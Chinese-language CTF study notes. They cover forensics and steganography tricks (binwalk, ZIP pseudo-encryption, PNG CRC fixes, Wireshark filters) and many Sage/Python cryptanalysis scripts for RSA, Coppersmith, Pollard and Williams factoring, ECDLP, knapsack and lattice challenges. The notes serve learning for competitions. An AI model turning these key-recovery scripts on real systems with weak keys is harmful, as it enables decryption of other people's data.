CTF

Kali

共享文件夹

这个
地址 /mnt/hgfs/LinuxShare

MISC

Google

1. "aaa" 必须出现的词汇
2. site:aaa.com 只搜索这个网站的结果
3. -aaa 结果不出现某个词汇
4. imagesize:500x500 只搜索这么大的图片(像素)
5. filetype:pdf 只搜索pdf格式的文档
6. * 通配符,不确定这个位置填啥可以写
7. aaa or bbb aaa and bbb 返回包含两个词任何一个或者都包含的结果
8. BEFORE:1999 AFTER:1999 1999..2000 查询指定年份的材料
9. related:aaa.com 查询相关的网站
10. cache:aaa.com 返回这个网站的缓存版本

Webs

编码:
CTF常见编码
CTF在线工具1
CTF在线工具2

取证:
硬盘镜像取证⼯具 FTK Imager AutoPsy
内存镜像取证⼯具 Volatility
加密容器⼯具 Veracrypt
各⼤国内取证技术提供商的⼯具
取证相关

流量分析:
OSI七层模型
流量分析入门
Wireshark使用

属性

右键查看属性有时候能找到一串神秘字符串.

rtf

7B 5C 72 74 66 是 {\rtf .

gif

GIF8(47 49 36 38) 是gif文件头,之后常接 9a(39 61) ,注意看提示.

powershell和cmd不是一个东西…
在cmd中拼合文件:

copy /b a.bin + b.bin + c.bin res.bin

binwalk

binwalk可以自动检查文件里面杂糅什么文件.

binwalk -e a.xx 则可以直接分离这些文件,根本不用自己查.

ZIP伪加密

ZIP文件格式有两种,其加密标志位分别在不同的位置:

50 4B 01 02 xx xx xx xx 01 08 :目录区加密,只需要管 01 改成偶数就行了, 08 记录额外信息(不用管).
50 4B 03 04 xx xx 00 00 :局部文件加密标记,仍然是前半部分是偶数表示未加密.
78 9C AD 50 是Zlib文件的开头编码.

友情提示,zlib文件(gz)Win可以用cyberchef解压.
同时,部分linux自带binwalk.

傅里叶盲水印

Wireshark

抓包软件.

http contains "POST" 搜索内容有 POST 的所有包.
http.request.method==POST 也可以查找包
ip.addr==x.x.x.x 查找IP是xxxx的包
tcp.port==80 查找端口为80的包
http 过滤所有http协议的包

analysis:Follow TCP stream 是对数据流的分析然后整合成一个完整信息的过程.

ftp 显示所有ftp协议的流.
ftp-data 显示文件数据(对其追踪能够找到下载了什么)
特别注意 :追踪数据流的时候一定要选原始数据另存为,否则会存成hex格式导致打不开文件.

foremost 在Kali上面有这个文件可以自动分离 pcapng 的文件.
抓包的时候可能碰到url编码和base64一起用的,如 RDpcd2FtcDY0XHd3d1xhZG1pblw%3D ,其中最后的 %3D 是 = .

tcp.stream eq 193 后面的数字可以随意改变,意思是数据流编号(从0-无穷)
如果当前追踪流没有想要的结果,不妨换一个流再看(改数字)

图片宽高改变

使用脚本破解,原理是CRC校验.

然而实际上会有非常阴险的出题人连着图片的CRC一起改,导致直接改变宽高不会有任何提示.
这个时候推荐手动改变宽高然后丢进一个不管CRC的软件里查看图片,如 画图 .
看起来一张图片宽度改错了整张图片都会崩,但是如果高度改变了,在画图中只会被表示为透明.

F5隐写

因为这个包用的jdk11,而Flu电脑上装的是jdk17…

& "C:\Program Files\Java\jdk-11.0.2\bin\java.exe" -classpath . Extract 文件绝对路径

png补齐IDAT

原理还是CRC校验,使用 pngcheck.exe -v target.png 自动检查计算CRC值是否正确.(Flu做的题里面是把IDAT改成IOAT然后再改图片高度让图片缺了一块,要靠自己补齐,,)

文件夹带私货

出现文本 xx,txt , PK 值有可能是zip压缩包(zip的创始人名字简写为PK),改拓展名,如果有密码就暴力破解.

LSB图像隐写

因为很多颜色人是分辨不出来的,所以可以使用rgb颜色最低位进行隐写,隐藏信息或者加隐形水印.拉高对比度会显出原形.

Crypto

Webs

大佬博客1
大佬博客2

解密网站

数论基础

勒让德符号

$$\left(\frac ap\right)=a^{(p-1)/2}\mod p$$

意义:判断一个数字是不是模 $p$ 的二次剩余(是1不是p-1(模意义下的-1))0表示a是p的倍数.

二次剩余的性质

Quadratic Residue 是二次剩余根, Quadratic Non-residue 表示非二次剩余数字.

Quadratic Residue * Quadratic Residue = Quadratic Residue
Quadratic Residue * Quadratic Non-residue = Quadratic Non-residue
Quadratic Non-residue * Quadratic Non-residue = Quadratic Residue

勒让德符号中质数的性质

$$\left(\frac{-1}p\right)=\begin{cases} 1&p\equiv1\mod4\\ -1&p\equiv3\mod4\end{cases}$$ $$\left(\frac{2}p\right)=\begin{cases} 1&p\equiv\pm1\mod8\\ -1&p\equiv\pm3\mod8\end{cases}$$

这个符号是完全积性函数.

RC4

一个抑或加密体系,知道一个明文和相同密钥加密得到的密文可以还原另一条明文:

from Crypto.Cipher import ARC4
msg = b''
ct1 = b''
ct2 = b''
# 计算密钥流：keystream = msg XOR ct2
keystream = bytes([m ^ c for m, c in zip(msg, ct2)])
# 使用密钥流的前37字节解密ct1得到flag
flag = bytes([c ^ k for c, k in zip(ct1, keystream)])
print(flag)

常见编码

密码总结1

旗语 中文注音符号 25对色码 维吉尼亚密码(凯撒密码+密钥) 棋盘密码 ASCII
仓颉码 五笔 四角号码 郑码 中日韩统一表意文字(和制汉字 韩制汉字,”国字”)
adfgx密码

阴阳怪气编码 喵喵喵语(原理是零度等宽字符编码)

干支纪年法
中文电码
SMS Cipher几个1-8之内的数字
Q单词表爆破
UUencode,示例 89FQA9WMD<V1A<V1S83DY.#<W3$Q,2TM]
JJencode
Quoted-Printable
Rabbit加密(CyberChef上的这个巨难使,-1,别用)据说好像是U2开头
Rot47加密所有字母ascii都在33-126范围
playfair加密关键词”公平”
vigenere维吉尼亚密码
与佛论禅
新约佛论禅 并没有链接,为什么这种编码算法还能爆炸的…
栅栏密码 fence
凯撒密码
Ook编码
哈基米编码 恶俗啊为什么什么梗都能用来编码???
猪圈密码 银河密码 跳舞小人
黑客语
核心价值观加密解密

碰到 1745347988 这种很大的而且以 174 开头的数字考虑时间.
碰到32位字母加数字联想md5,然后爆破(.hash结尾的更说明了一切)
有的时候题目会非常意识流,记得先看这个数字是几进制的,然后用 int('114514',5) 恢复真正的十进制n.
然后当题目不给n的时候要猜测e不大.
碰到两个近乎完全相同的字符串要考虑表映射关系(python里面中文是一个字一个地址,好评)

ASCII

注意,ascii编码范围在0-127之间,碰到奇怪的进制可以尝试使用按照ascii值域分组整除密码.
看到一堆有超过127的可以考虑整体下移几个数字(rot操作)

base64

出现 ABC...Zabc...z+/= 字符集字样联想base64.
代码段出现 /3 *4 字样联想base64.

XOR

xor是可逆的.
对于xor加密的字符串,可以尝试通过把 flag{ 这个前缀输进去反向解出密钥前几位,然后猜后几位(注意在cyberchef记得勾选UTF-8编码的密钥).

凯撒密码

尝试差值变换(第一个字符差1,第二个字符差2之类的…)

RSA签名

信息使用你朋友的公钥加密,信息的哈希用自己的私钥加密,然后朋友用自己的私钥和你的公钥解密,得到哈希和原信息,然后比对一下,就叫做签名.

RSA

PS: int("FFFF",16) 能把字符串转成十六进制数字.

hex(d) 一个数字转hex,返回0x啥一堆
有的时候给出的十六进制前面带前缀 0x 的同时后面会带后缀 L ,做题交flag不对了可以加上试试.

网上有很全的博客,这里讲一些例题

0 .enc .key

碰到这俩凑一对的去找rsa在线公私钥分解

1 e=16

从rsa的角度,e和phi不互质,不存在d.
但是从二次剩余的角度,e=16意味着可以折半每次得到c^8,c^4,…逐次得到原始信息.

2 pqrs,但是next_prime()

题干很吓人:

alpha=8
p = getPrime(512)
q = gmpy2.next_prime(p*alpha)
r = gmpy2.next_prime(q*alpha*2)
s = gmpy2.next_prime(r*alpha*4)
n = p**8 * q**(16) * r**(32) * s**2

我们发现一个事实:对于一个任意的p,对应的qrs都是确定的.
所以直接值域二分,比较n大还是小就行了,复杂度O(logn).

3 二项式模

题干:给定

$$N=pq$$ $$c_1=(2p+3q)^{e_1}\mod N$$ $$c_2=(5p+7q)^{e_2}\mod N$$

求 $p,q$ .

通过配平阶数可以得到如下式子:

$$c_1^{e^2}=(2p+3q)^{e_1e_2}\mod N$$ $$c_2^{e_1}=(5p+7q)^{e_1e_2}\mod N$$

因为 $N=pq$ ,所有含pq的都直接忽略:

$$c_1^{e^2}=(2p)^{e_1e_2}+(3q)^{e_1e_2}\mod N$$ $$c_2^{e_1}=(5p)^{e_1e_2}+(7q)^{e_1e_2}\mod N$$

解二元一次方程得到 $p^{e_1e_2}\mod N$ 和 $p^{e_1e_2}\mod N$ .
然后求 $\gcd(p^{e_1e_2},N)$ 得到 $p,q$ .

4 不知道另一半

p = getPrime(1024)
q = getPrime(1024)
r = gmpy2.next_prime(p*q)
n = p*q*r

出于某种原因,你没有拿到n的另一半数字的phi,怎么解密?

这里就要引出RSA解密时一个比较重要的性质:对单个质因子即可解密.即RSA只让e对随便一个质数的phi取inv,然后d对这个质数p取模,也能还原出flag.

5 给出 $p^q+q^p$

设 $g=p^q+q^p$ ,有

$$g\equiv p\mod q,g\equiv q\mod p$$

于是

$$p|(g-q),q|(g-p)$$ $$(g-p)(g-q)\equiv 0\mod n$$ $$g\equiv p+q\mod n$$

所以就算出来了.

6 已知 $msg_2=a*msg_1+b$ Franklin-Reiter attack 相关消息攻击

据说要用多项式求gcd做.
得到的m是原信息.相关链接

def franklinReiter(n,e,a,b,c1,c2):
    R.<X> = Zmod(n)[]
    f1 = X^e - c1
    f2 = (a*X + b)^e - c2
    m_ = GCD(f1,f2).coefficients()[0] # 返回的是首一多项式，coefficients()返回多项式各项式的系数，项式次数递增，所以第0项是常数 
    return Integer(n - m_) # 由于tmp其实是 -m % n,所以这里给他转换回去。

def GCD(a, b):
    if(b == 0):
        return a.monic()        # 返回首一多项式，即多项式最高次的项式系数为1
    else:
        return GCD(b, a % b)
e = 
n = 
b = 
a = 
c1 = 
c2 = 
m = franklinReiter(n,e,a,b,c1,c2)
print(m)

flag长度129位,n长度2048位,然后三份密文得到了 $m^2$

发现flag最大也不会大过几倍的n,所以查出来 $m^2$ 之后暴力试探 $m$ 的值.

7 模意义思考

如果给了一堆奇怪的模意义下的东西,考虑分拆:

$$a\equiv b\mod nm$$

则有

$$a\equiv b\mod n$$

8 给定 $n=ppq$ ,额外hint=invert(n,(p-1)*(q-1))

这个题居然是用费马小定理做的…
首先给出了hint是逆元关系,我们有 $n*hint=1+k_1(p-1)(q-1)$

费马小定理:对于任意质数p和不能被p整除的整数a,有

$$a^{p-1}\equiv 1\mod p$$

则对于正整数a,我们有

$$\begin{aligned}a^{n*hint}\equiv& a^{1+k_1(p-1)(q-1)}\\ \equiv& a^{(1+k_1(p-1)(q-1))\mod (p-1)}\mod p\\ \equiv& a\mod p \end{aligned}$$

所以我们有 $a^{nhint}-a\equiv 0\mod p$ ,即 $a^{nhint}-a=k_2p$
算出来前者直接对n取gcd即可.

Pollard’s p-1 method

这个是裸的板子,条件是p-1能被分解为很多小质数的积

def PollardMethod(N: int):	# 返回N的一个因子
	a=2
	for n in itertools.count(2):
		a=pow(a,n,N)
		g=gcd(a-1,N)
		if g==1:
			continue
		elif g==N:
			a+=1
		else:
			return g

这个是魔改板子,条件是p-1还有一个很大的已知质数因子

import math,itertools
def pollard_p1_with_factor(N: int,known_factor: int,B: int = 100000):
	a=2
	M=known_factor
	def primes_upto(n):
		sieve=[True]*(n+1)
		sieve[0:2]=[False,False]
		for i in range(2,int(n**0.5)+1):
			if sieve[i]:
				sieve[i*i:n+1:i]=[False]*len(range(i*i,n+1,i))
		return [p for p,ok in enumerate(sieve) if ok]
	for p in primes_upto(B):
		pk=p
		while pk*p<=B:
			pk*=p
		M*=pk
	aM=pow(a,M,N)
	g=math.gcd(aM-1,N)
	if 1<g<N:
		return g
	else:
		return None
N = ...
factor = ...
p = pollard_p1_with_factor(N, factor)
assert N%p==0

Williams’ p+1 method

网上相关板子实在太少了,笔者这里补充一下.
这个是裸的板子,条件是p+1能被分解为很多小质数的积

from math import isqrt
from gmpy2 import gcd
from Cryptodome.Util.number import long_to_bytes
from itertools import count
from sympy import primerange
n = ...
def mlucas(v, a, n):
    v1, v2 = v, (v ** 2 - 2) % n
    for bit in bin(a)[3:]:
        if bit == "0":
            v1, v2 = (v1 ** 2 - 2) % n, (v1 * v2 - v) % n
        else:
            v1, v2 = (v1 * v2 - v) % n, (v2 ** 2 - 2) % n
    return v1
def primegen():
    yield from primerange(2, 10**6)  # 生成到 10^6 的素数，够用了
def ilog(x, b):
    l = 0
    while x >= b:
        x //= b
        l += 1
    return l
def attack(n):
    for v in count(1):  # 不断尝试新的 v
        for p in primegen():
            e = ilog(isqrt(n), p)
            if e == 0:
                break
            for _ in range(e):
                v = mlucas(v, p, n)
            g = gcd(v - 2, n)
            if 1 < g < n:
                return int(g), int(n // g)
            if g == n:
                break
p1, q1 = attack(n)
print(f"p = {p1}")
print(f"q = {q1}")

这个是魔改板子,条件是p+1还有一个很大的已知质数因子

from math import isqrt,gcd
from itertools import count
from sympy import primerange
n=...
known_factor=0x1337133701		# p+1 的已知大素因子
max_other_factor=50000			# 其他因子的最大值
def mlucas(v,a,n):
	v1,v2=v,(v**2-2)%n
	for bit in bin(a)[3:]:
		if bit=="0":
			v1,v2=(v1**2-2)%n,(v1*v2-v)%n
		else:
			v1,v2=(v1*v2-v)%n,(v2**2-2)%n
	return v1
def primegen(max_limit):
	yield from primerange(2,max_limit+1)
def ilog(x,b):
	l=0
	while x>=b:
		x//=b
		l+=1
	return l
def optimized_attack(n,known_factor,max_other_factor):
	for v in count(1):
		e=ilog(isqrt(n),known_factor)
		if e>0:
			for _ in range(e):
				v=mlucas(v,known_factor,n)
			g=gcd(v-2,n)
			if 1<g<n:
				return g,n//g
			if g==n:
				continue
		for p in primegen(max_other_factor):
			e=ilog(isqrt(n),p)
			if e==0:
				break
			combined_factor=known_factor*p
			for _ in range(e):
				v=mlucas(v,combined_factor,n)
			g=gcd(v-2,n)
			if 1<g<n:
				return int(g),int(n//g)
			if g==n:
				break
try:
	p1,q1=optimized_attack(n,known_factor,max_other_factor)
	print(f"p = {p1}")
	print(f"q = {q1}")
	print(f"验证: n = p * q = {p1*q1==n}")
except Exception as e:
	print(f"分解失败: {e}")

Wiener Attack 维纳攻击 连分数攻击

本质是求满足下面条件的d:

$$ed=1+kp$$ $$d<p^{0.25}$$

只要存在这个d和k,不需要管p是什么数,连分数能求出来答案(e和p已知).

看看下面的例题:

from Crypto.Util.number import *
from secret import flag
import random
pad = lambda m, l: m + bytes(random.randrange(256)*bool(i) for i in range(l - len(m)))
unpad = lambda m: m[:m.index(0)] if 0 in m else m
while True:
    p = getPrime(1024)
    if p % 4 == 3 and pow(3, (p-1)//2, p) == 1:
        break
while True:
    q = getPrime(1024)
    if q % 4 == 3 and pow(3, (q-1)//2, q) == 1:
        break

n = p*q
phi = (p-1)*(q-1)
while True:
    d = random.randrange(phi) | 1
    if GCD(d, (p**4-1)*(q**4-1)) == 1:
        e = pow(d, -1, (p**4-1)*(q**4-1))
        break

def encrypt(m: list[int], e: int, n: int) -> list[int]:
    def _add(a, b):
        return [(aa + bb) % n for aa, bb in zip(a, b)]
    def _mul(a, b):
        return [
            (a[0]*b[0] - 3*a[3]*b[1] - 3*a[2]*b[2] - 3*a[1]*b[3]) % n,
            (a[1]*b[0] + a[0]*b[1] - 3*a[3]*b[2] - 3*a[2]*b[3]) % n,
            (a[2]*b[0] + a[1]*b[1] + a[0]*b[2] - 3*a[3]*b[3]) % n,
            (a[3]*b[0] + a[2]*b[1] + a[1]*b[2] + a[0]*b[3]) % n
        ]
    c = [1, 0, 0, 0]
    dbl = m[:]
    for b in map(int, reversed(bin(e)[2:])):
        if b:
            c = _mul(c, dbl)
        dbl = _mul(dbl, dbl)
    return c
m = [
    bytes_to_long(pad(flag[:len(flag)//4], 255)),
    bytes_to_long(pad(flag[len(flag)//4:2*len(flag)//4], 255)),
    bytes_to_long(pad(flag[2*len(flag)//4:3*len(flag)//4], 255)),
    bytes_to_long(pad(flag[3*len(flag)//4:], 255))
]
c = encrypt(m, e, n)

print(f"{n = }")
print(f"{e = }")
print(f"{c = }")

hint:这是一个“四次扩环” $\mathbb{Z}_N(t)/(t^4+3) \cong \mathbb{F}_p(\sqrt[4]{-3}) \times \mathbb{F}_q(\sqrt[4]{-3})$ 上的RSA.

不要被吓跑…
即使是放到了环上,由于欧拉定理,RSA依旧满足ed加解密的性质.p和q不是连分数且p和q没关系,所以不能直接分解n.
但是我们发现d在 $n^4$ 下似乎很小,所以对这个e和d和 $n^4$ 使用连分数攻击,就能求出d,进而恢复明文.

CopperSmith

只知道一个质数多少位,然后剩下的不知道,你要尝试分解n…

调参 :beta是pq相对的大小关系,一般取 0.3-0.5 .
epsilon是格的大小,越小越精确(算的时间越长),取 0.01-0.5 .

2048位知道前1108位不知道后940位:

n = ...
p_high = ... # 16进制形式的前1108位
e = ...
c = ...
# 缺失位数
missing_bits = 940
# 计算p_known = p_high << missing_bits
p_known = p_high * (2 ** missing_bits)
# 定义多项式
PR.<x> = PolynomialRing(Zmod(n))
f = x + p_known
# X是未知位的最大和值
X = 2 ** missing_bits  # 因为x小于2^940
roots = f.small_roots(X=X, beta=0.5, epsilon=0.03)
if roots:
	x0 = roots[0]
	p = p_known + x0
	if n % p == 0:
		print("p found:", p)
	else:
		print("Found candidate but not factor.")
else:
	print("No roots found.")

知道低位400求高位112

这个码跑的比上面的快超级多,不知道为什么…

n=
pl=
x=Zmod(n)['x'].gen()
f=x*2**400+pl
f.monic().small_roots(X=2**112,beta=0.49,epsilon=0.02)

3q: 给定n=p*(q^3) 以及q的高381位,尝试分解pq:

GPT告诉我说要构造一个模n等于0的多项式然后跑copper,然后管理员告诉我说这个题并不是二元copper.
得出结论:直接在原有的板子上修改即可.

n = ...
e = 65537
c = ...
hint = ...

missing_bits = 643

# 计算p_known = p_high << missing_bits
p_known = hint * (2 ** missing_bits)
# 定义多项式
PR.<x> = PolynomialRing(Zmod(n))
f = (x + p_known)**3
# X是未知位的最大和值
X = 2 ** missing_bits  # 因为x小于2^940
roots = f.small_roots(X=X, beta=0.5, epsilon=0.02)
if roots:
	x0 = roots[0]
	p = p_known + x0
	if n % p == 0:
		print("p found:", p)
	else:
		print("Found candidate but not factor.")
else:
	print("No roots found.")

已知明文低位求高位

def stutter(text, cipher = None):
    i = 0
    while i < len(text):
        t = random.randint(1, 6)
        subtext = text[i:i+t] + '...'
        print(subtext if cipher is None else cipher(subtext))
        i += t
    print()
def encipherer(N, e = 0x10001, l = 256):
    def _encipher(m):
        return long_to_bytes(pow(bytes_to_long(pad(m.encode('utf-8'), l)), e, N)).hex()
    return _encipher
e = 13
while True:
    p = getPrime(1024)
    q = getPrime(1024)
    N = p * q
    if GCD((p-1)*(q-1), e) == 1: break
stutter(flag, encipherer(N, e))
print(f"{N = }")
print(f"{e = }")

首先,pad是长度一定答案一定的,其次,长度只有6种,所以我们近似得到了明文绝大多数低位.

tmp=b''
for i in range(1,7):
	tmp=tmp+b'\x00'
	out=tmp+b'...'
	print(bytes_to_long(pad(out,256)))

首先得到没了flag的时候上面的低位(6种情况),然后构造coppersmith(deepseek给的板子,错了再说):

# sage
cc=[# 给出的密文
	,
]
clow=[# 明文低位
	,
]
N = ...
e = 13
for c in cc:
	for low_m in clow:
		unknown_bits = 48 # 未知的位数（6字节=48位）
		# 构造多项式：f(x) = (x * 2^known_bits + low_m)^e - c mod N
		known_bits = 250 * 8  # 已知250字节，即2000位
		P.<x> = PolynomialRing(Zmod(N))
		# 定义多项式：f(x) = (x * 2^known_bits + low_m)^e - c
		f = ((x * 2^known_bits + low_m)^e - c).monic()
		x0 = f.small_roots(X=2^unknown_bits, beta=1.0, epsilon=0.05)
		if x0:
			x0 = x0[0]
			high_m = x0
			total_m = high_m * 2^known_bits + low_m
			print(total_m)
		else:
			print("No solutions found")

后知后觉 :之前看hint说,e很小的时候,Flu只觉得可能和什么爆破有关,查了一下发现也不是直接开根号的板子,因为明文和N差不多大.
直到ds给出脚本的时候才发现e和多项式阶数直接相关,没准e大点就解不出来了.

大数处理

就是,给定一个很大的数的函数,输出一个小数,一般在密码学都是什么神秘暴力展开,然后做了一些神秘的操作,由于展开太费时间,用二分的check都得算好几个小时…
于是这里记录sage怎么写.

task1

class MySeries():
    def __init__(self, num):
        self.num = num
    def Coe(self, n):
        i = 0
        c = 1
        while i < n:
            i += 1
            c = (c * (1 / 2 - i + 1)) / i
        return c
    def Point(self, center):
        sum = 0
        center -= 1
        i = 0
        while i < self.num:
            sum += (center ** (1 / 2 - i) * self.Coe(i))
            i += 1
        return sum
def All(bound):
    num = randint(1111, 2222)
    T = MySeries(num)
    output = 0
    i = 3
    while i < bound:
        b1 = T.Point(i)
        b2 = T.Point(i + 1)
        output += (b1 + b2) / 2
        i += 1
    return output
k = int(All(n))

给定函数其实是在通过梯形法则计算

$$\int_3^{bound}\sqrt x\mathrm dx$$

那么解密脚本(sage,只求高位)大致如下:

F = RealField(20000)				# 定义实数域是20000位2进制
n=F('1145141919810')				# 域上的数字
kk=int(2*n**(3/2)/3-2*3**(1/2))		# 直接算积分答案
kk									# 输出

task2

getcontext().prec = 1145
a = Decimal(N2-10**615)/(N2+10**615)
b = Decimal(N2**2-2*10**615*N2+10**1230)/(N2**2+2*10**615*N2+10**1230)
c = 0
i = 1
for funky in range(18905):
    c += a/i
    i += 2
    a *= b
c *= 2
Q2 = c

给定函数在求这个东西:

$$x=\frac{N-10^{615}}{N+10^{615}},Q=\frac x1+\frac {x^3}{3}+\frac {x^5}5+...$$

问AI告诉我说后面在拟合这个函数:

$$\ln\left(\frac{1+x}{1-x}\right)$$

回带得到了这个脚本(sage):

F = RealField(13300)
Q2 = F('2.1145141919810')
c2 = 1145141919810
N2 = round(exp(Q2) * 10**615)

task3

getcontext().prec = 4000
a = Decimal(N3)
b = Decimal(1)/40000
c = 0
for baka in 40000:
    c += Decimal(10**1860)/(a**3 + 1)
    a += b
c *= Decimal(1)/40000
Q3 = c

问AI得到是在拟合这个东西:

$$\int_{N3}^{N3+1}\frac{10^{1860}}{x^3+1}\mathrm dx$$

这就不能用一般的定积分计算了,问AI求积分得到了一个非常复杂的式子,考虑有没有其他解法:

观察到在N3特别大的时候,1/(x^3+1)曲线非常非常平缓,所以近似成一条直线,且可以近似成一条平行x轴的直线,据此我们可以写出:

F = RealField(13300)
Q3 = F('53386726097.1145141919810')
c3 = 1145141919810
N3 = round((10**1860/Q3-1)**(1/3))

Knapsnack

# 加密脚本
from Crypto.Util.number import *
from secret import flag
import random
assert len(flag) < 48
n = 48*8
def keygen():
    w = []
    w.append(getRandomNBitInteger(64))
    for _ in range(n-1):
        w.append(2*w[-1] + random.getrandbits(w[-1].bit_length()))
    q = 2*w[-1] + random.getrandbits(w[-1].bit_length())
    while True:
        r = random.randrange(q)
        if GCD(r, q) == 1:
            break
    b = [ww*r % q for ww in w]
    pkey = b
    skey = (w, q, r)
    return pkey, skey
def encrypt(text: bytes, pkey):
    c = 0
    for bit, bb in zip(map(int, ''.join(f'{b:08b}' for b in text).zfill(n)), pkey):
        c += bit * bb
    return c
pkey, skey = keygen()
c = encrypt(flag, pkey)



# 解密脚本
from typing import List, Tuple
def mh_decrypt(c: int, skey: Tuple[List[int], int, int], n_bits: int) -> bytes:
    """
    Decrypt Merkle–Hellman knapsack ciphertext given secret key (w, q, r).
    - c: message
    - skey: (w, q, r) where w is the superincreasing sequence (list), q modulus, r multiplier
    - n_bits: length of the array (e.g. 48*8 for the challenge)
    Returns decrypted bytes (with left-zero bytes stripped).
    """
    w, q, r = skey
    # modular inverse of r mod q
    r_inv = pow(r, -1, q)
    # multiply ciphertext by inverse to remove multiplier (mod q)
    c_prime = (c * r_inv) % q
    # now c_prime should equal sum(b_i * w_i) where b_i in {0,1}
    bits = [0] * len(w)
    # Greedy recover since w is superincreasing: go from largest to smallest
    for i in range(len(w)-1, -1, -1):
        if c_prime >= w[i]:
            bits[i] = 1
            c_prime -= w[i]
    # bits is a list of 0/1, MSB at index 0 if encryption used left-to-right order.
    bitstring = ''.join(str(b) for b in bits)
    # Ensure bitstring length is n_bits (zfill was used in encryption)
    if len(bitstring) < n_bits:
        bitstring = bitstring.zfill(n_bits)
    # Convert bitstring (big-endian) to integer and then to bytes
    value = int(bitstring, 2)
    out_bytes = value.to_bytes(n_bits // 8, 'big')
    # Original plaintext was right-aligned into n_bits via zfill, so strip leading null bytes
    return out_bytes.lstrip(b'\x00')
flag=mh_decrypt(c,skey,48*8)
print(flag)

Gröbner基

一个解方程的神秘算法,实际上只会写脚本就行了…

例题1

e = 103
x = getrandbits(4096)
a = (phi**3 + x*d**2 + (x**2 + x*phi + 3*d)**2) % n
b = (x**2 - 3*x + x*d**3*phi + d**2 - 13*phi**2) % n
c = (phi**2 + 7*phi - x**2*d + x - d**2) % n

首先,直接按照这个神秘算法是解不出来的…太复杂了…
问了管理员(这是”魔法少女网站”吗?一道题必须问管理员才做得出来)才发现,原来是少了一个隐藏条件(ed=1 mod phi这个).
然后管理员说,e很小,所以考虑直接爆破k得到第四个条件,然后写解密脚本.
最后将x取模意义下的反值,带入原方程构造:(这个是最终的脚本,大差不差的)

n=
e=
a_val=
b_val=
c_val=
k=
x=
R.<phi,d>=PolynomialRing(Zmod(n),2)# 几个未知数
f1=phi**3+x*d**2+(x**2+x*phi+3*d)**2-a
f2=x**2-3*x+x*d**3*phi+d**2-13*phi**2-b
f3=phi**2+7*phi-x**2*d+x-d**2-c
f4=e*d-k*phi-1
I=R.ideal(f1,f2,f3,f4)
groebner_basis=I.groebner_basis()
for g in groebner_basis:
	# print(g)
	if g.variables() == (d,): # 如果多项式只包含d
		print(g)
	if g.variables() == (phi,): # 如果多项式只包含phi
		print(g)

然后得到d和phi,随便挑一个就能解.

ECC 椭圆曲线加密

公开: P,Q两点 a,b椭圆曲线参数
保留: k(Q=kP的k)

加密:随机数字r,求出(rP,msg+rQ)
解密:使用私钥k,求出krP=rQ,做差得到msg.

注意 :假如知道Q=k*P,已知Q和k是反推不出来P的,因为不知道逆元(这里是没有点减法的)…

from secret import flag
from Crypto.Util.number import *
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import hashlib

p = getPrime(256)					# 随机模数
F = GF(p)							# 限定域
E = EllipticCurve(F, [114, 514])	# 参数a,b,这是最简单的形式E: y^2 = x^3 + ax + b

P = E.random_point()				# 随机初始点P
Q1 = P*1145141919810893				# 第一个公钥点
Q2 = P*1337133713371337				# 第二个公钥点

P.x()		# P点的x坐标
P.xy()		# P点的x坐标
P.order()	# P点的阶

PP=k*Q		# sage会自动进行圆锥曲线的运算

知道两个Q和对应的k求P

前提:两个k互质.
尝试理解点之间变换的精髓: $P=xQ_1+yQ_2=xk_1Q_1+yk_2Q_2$

g,u,v=xgcd(k1,k2)   # Sage 内置扩展欧几里得函数
P=u*Q1+v*Q2

未知P,a,b,mod,已知2P,3P,…,7P

ab显然解方程就行了.关键在于p怎么算:
把多组数据带进去,做差能得到关于mod的倍数.
对很多个这样的倍数求gcd即可求出mod.至此原ECC全部还原,直接求PQ还原答案即可.

ECDLP 椭圆曲线离散对数

k = getRandomNBitInteger(136)
p = 85468147895711151675202050796503571876819967288648016286940998128295841240719
F = GF(p)
E = EllipticCurve(GF(p), [1, 2])
P = E.gens()[0]
Q = k*P
ct = AES.new(hashlib.sha256(str(k).encode()).digest(), AES.MODE_ECB).encrypt(pad(flag, 16))
print(f"{p = }")
print(f"P = {P.xy()}")
print(f"Q = {Q.xy()}")
print(f"{ct = }")

就是说,给你一个比较特殊的P和Q,尝试爆破出k出来(注意到k比较小…)

脚本抄的别人的,大意是说,对P的阶质因数分解,得到 $k\equiv y\mod P_{sub}$ 的值,然后用CRT合并起来,最后根据模意义爆破出k.
和long text不一样的是,这个题是爆破P这个点的阶,再多做几个题之后考虑一下究竟是什么关系.

p = 85468147895711151675202050796503571876819967288648016286940998128295841240719
F = GF(p)
E = EllipticCurve(GF(p), [1, 2])
P = E(xxx,xxx)
Q = E(xxx,xxx)
primes=[2**7,5**2,7,17,241,17729,1011091,1519709,5004119,8022225689]
# 这里的primes是P的阶的质因数的次方
dlogs=[]
# 这里存离散对数
for fac in primes:
	t=int(P.order()/int(fac))
	dlog=discrete_log(t*Q,t*P,operation='+')
	dlogs.append(dlog)
	print(fac,dlog)
print(crt(dlogs,primes))

上面得到的是 $k\equiv y\mod \prod \mathtt{primes}$ .

格密码 Lattice

v=[[],[],...,[]]# 一个矩阵
M=matrix(ZZ,v).LLL()# 找最近"最小"向量
print(str(M))	# 有的时候M太大了打印不出来,就用str(M)打印即可

关于LLL

能对”细长”的矩阵进行操作,返回你希望的”最小”向量(假如说是n行m列的,那么n<=m).
据说SageMath内部的small_roots因为使用了Sage自己的LLL(fpill).如果用flatter的话格基约化的速度会更快一些.

Java Random Revenge

class RNG:
    def __init__(self, seed):
        self.seed = seed & ((1 << 256) - 1)
    def next(self, nbits):
        assert nbits in range(1, 257)
        self.seed = (self.seed * 0x3f90a5d5b5c731f3d8bd5d672c171588c485c3e5cc040df93a5cf180092fd5c3 + 0x6976cb41868014055590b677a676f52ff4efae37aac714c0ffabe16688924e8b) & ((1 << 256) - 1)
        return self.seed >> (256 - nbits)
rng = RNG(random.SystemRandom().getrandbits(256))
ns = [114, 51, 41, 91, 98, 10, 11, 45, 141, 91, 98, 10, 114, 51, 41, 91, 98, 10, 11, 45, 141, 91, 98, 10, 163, 108, 145, 163, 108, 145, 114, 51, 41, 91, 98, 10, 11, 45, 141, 91, 98, 10, 163, 108, 145, 163, 108, 145, 114, 51, 41, 91, 98, 10, 11, 45, 141, 91, 98, 10, 114, 51, 41, 91, 98, 10, 11, 45, 141, 91, 98, 10, 163, 108, 145, 163, 108, 145, 114, 51, 41, 91, 98, 10, 11, 45, 141, 91, 98, 10, 163, 108, 145, 163, 108, 145]
data = []
for n in ns:
    data.append(rng.next(n))

secret = [rng.next(256) for _ in range(100)]
ct = AES.new(hashlib.sha256(str(secret).encode()).digest(), AES.MODE_ECB).encrypt(pad(flag, 16))
print(f"{ns = }")
print(f"{data = }")
